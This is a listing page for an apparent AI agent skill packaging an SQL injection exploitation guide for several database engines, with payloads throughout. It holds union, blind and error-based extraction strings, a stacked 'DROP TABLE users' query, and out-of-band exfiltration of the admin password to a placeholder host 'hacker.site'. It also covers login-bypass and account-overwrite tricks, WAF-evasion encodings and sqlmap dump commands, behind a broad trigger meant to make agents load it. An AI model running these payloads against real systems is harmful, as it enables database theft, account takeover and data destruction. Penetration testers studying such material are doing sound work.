# SQL Injection Testing

> SQL injection vulnerability testing and exploitation guide. Use this skill whenever the user mentions SQL injection, SQLi, database injection, SQL vulnerability testing, penetration testing of web applications, authentication bypass, WAF bypass, or any security testing involving database queries. This skill provides detection methods, exploitation techniques, and payloads for MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and other databases. Trigger this skill for any SQL injection related security assessment, even if the user doesn't explicitly say "SQL injection" but describes symptoms like unusual database behavior, query manipulation, or database exfiltration.

- Skill: `abelrguezr/sql-injection-testing` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sql-injection-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sql-injection-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sql-injection-testing

---


# SQL Injection Testing Guide

A comprehensive guide for detecting and exploiting SQL injection vulnerabilities during security assessments.

## When to Use This Skill

Use this skill when:
- Testing web applications for SQL injection vulnerabilities
- Analyzing unusual database query behavior
- Performing authentication bypass testing
- Bypassing WAFs during security assessments
- Extracting database information through injection
- Converting between hex/decimal for payload crafting
- Any security testing involving database query manipulation

## Detection Methodology

### Step 1: Entry Point Detection

Start by testing common injection points with these payloads to escape the current context:

```
' " ` ') ") `) )) ")) `))
```

Look for:
- Database errors in responses
- Different page content between valid/invalid queries
- Timing differences in response

### Step 2: Confirm with Logical Operations

Test with these payloads to confirm SQLi:

```
?param=value' or '1'='1
?param=value" or "1"="1
?param=value and 1=1
?param=value and 1=2
```

If `1=1` and `1=2` produce different results, you likely have SQLi.

### Step 3: Confirm with Timing (Blind SQLi)

For blind SQLi where you can't see output changes:

**MySQL:**
```
1' and sleep(10)--
1' and benchmark(10000000,sha1('test'))--
```

**PostgreSQL:**
```
1' || pg_sleep(10)--
```

**MSSQL:**
```
1' WAITFOR DELAY '0:0:10'--
```

**Oracle:**
```
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)--
```

### Step 4: Identify Backend Database

Use these queries to identify the database type:

| Database | Test Query |
|----------|------------|
| MySQL | `conv('a',16,2)=conv('a',16,2)` |
| MSSQL | `@@CONNECTIONS>0` |
| Oracle | `ROWNUM=ROWNUM` |
| PostgreSQL | `5::int=5` |
| SQLite | `sqlite_version()=sqlite_version()` |

## Exploitation Techniques

### Union-Based Injection

**1. Find column count:**

Use ORDER BY to find the number of columns:
```
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
# Stop when you get an error
```

**2. Extract database information:**

```sql
-- Get all database names
-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--

-- Get tables from a database
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='database_name'--

-- Get columns from a table
-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='table_name'--
```

### Blind SQL Injection

Extract data character by character:

```sql
?id=1 AND SUBSTR(table_name,1,1)='a'--
?id=1 AND SUBSTR(table_name,1,1)='b'--
# Continue for each character
```

### Error-Based Injection

Force errors to exfiltrate data:

```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```

### Time-Based SQL Injection

Use timing to extract data:

```sql
1 and (select sleep(10) from users where SUBSTR(password,1,1)='a')--
```

### Stacked Queries

Execute multiple queries (MySQL, MSSQL, PostgreSQL only - NOT Oracle):

```sql
1'; DROP TABLE users;--
1'; SELECT * FROM users;--
```

### Out-of-Band Exfiltration

Exfiltrate data to external hosts:

```sql
-- DNS exfiltration
select load_file(concat('',version(),'.hacker.site\a.txt'));

-- XXE-based exfiltration (Oracle)
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.hacker.site/"> %remote;]>'),'/l') FROM dual--
```

## Authentication Bypass

### Common Login Bypass Payloads

```
admin'--
admin'/*
admin'#
' or '1'='1
' or 1=1--
admin' or '1'='1'--
admin' or 1=1#--
```

### Hash-Based Bypass

For MD5 raw output vulnerabilities:
```
md5("ffifdyop", true) = 'or'6... (raw bytes)
sha1("3fDf ", true) = Q... (raw bytes)
```

### GBK Encoding Bypass

When single quotes are escaped:
```
%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' or 1=1 --
```

### SQL Truncation Attack

Create user `admin[25 spaces]a` to overwrite `admin` password (older MySQL):

```
username=admin[25 spaces]a
password=your_password
```

## WAF Bypass Techniques

### No Spaces Bypass

Use whitespace alternatives:
```
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

Use comments:
```
?id=1/*comment*/and/**/1=1/**/--
```

Use parentheses:
```
?id=(1)and(1)=(1)--
```

### No Commas Bypass

```
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### Case Variation

```
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

### Operator Substitution

```
AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE, REGEXP, RLIKE
WHERE -> HAVING
```

### Scientific Notation Bypass

```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```

## Safety and Ethics

**Important:** Only use these techniques on systems you have explicit authorization to test. Unauthorized SQL injection testing is illegal and unethical.

## Tools

- **sqlmap**: Automated SQL injection tool
  ```bash
  sqlmap -u "http://target.com/page?id=1" --dbs
  sqlmap -u "http://target.com/page?id=1" --current-user --current-db
  sqlmap -u "http://target.com/page?id=1" --tables --dump
  ```

- **Atlas**: WAF bypass suggester

## References

- [PayloadsAllTheThings - SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
- [PortSwigger SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
- [SQLWiki](https://sqlwiki.netspi.com/)
- [Auto Wordlists - SQLi](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt)

